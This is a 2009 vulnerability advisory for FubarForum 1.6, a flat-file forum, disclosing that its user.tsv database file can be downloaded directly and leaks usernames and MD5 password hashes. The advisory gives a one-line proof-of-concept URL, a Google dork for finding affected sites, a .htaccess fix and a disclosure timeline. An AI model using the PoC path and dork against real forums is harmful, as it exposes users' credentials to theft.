FubarForum 1.6 File Disclosure

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[ECHO_ADV_107$2009] FubarForum <= 1.6 Critical File Disclosure Vulnerability  
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Author : K-159  
Date : March, 16 th 2009  
Location : Jakarta, Indonesia  
Web : http://e-rdc.org/v1/news.php?readmore=131  
Critical Lvl : Moderate  
Impact : Exposure of sensitive information  
Where : From Remote  
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Affected software description:  
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Application : FubarForum  
version : <= 1.6  
Vendor : http://chaozz.nl/software/fubarforum/  
Description :  
  
FubarForum is a tiny flatfile (no MYSQL needed) messageboard / forum that is easy to install and use. It’s small (compressed around 60kb), but has all the features you might expect from a forum  
  
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Vulnerability:  
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Critical user.tsv file in db's folder are vulnerable to direct access to view 'critical' information about username and md5hash password from users.  
  
  
Poc/Exploit:  
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http://www.example.com/[fubarforum_path]/db/user.tsv  
  
Dork:  
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Google : "Powered by FubarForum v1.6 and chaozzDB v1.2"  
  
  
Solution:  
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- add .htaccess in folder db.  
  
Timeline:  
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- 14 - 03 - 2009 bug found  
- 14 - 03 - 2009 vendor contacted  
- 15 - 03 - 2009 vendor response  
- 16 - 03 - 2009 advisory release  
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Contact:  
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K-159 || echo|staff || adv[at]e-rdc[dot]org  
Homepage: http://www.e-rdc.org/  
  
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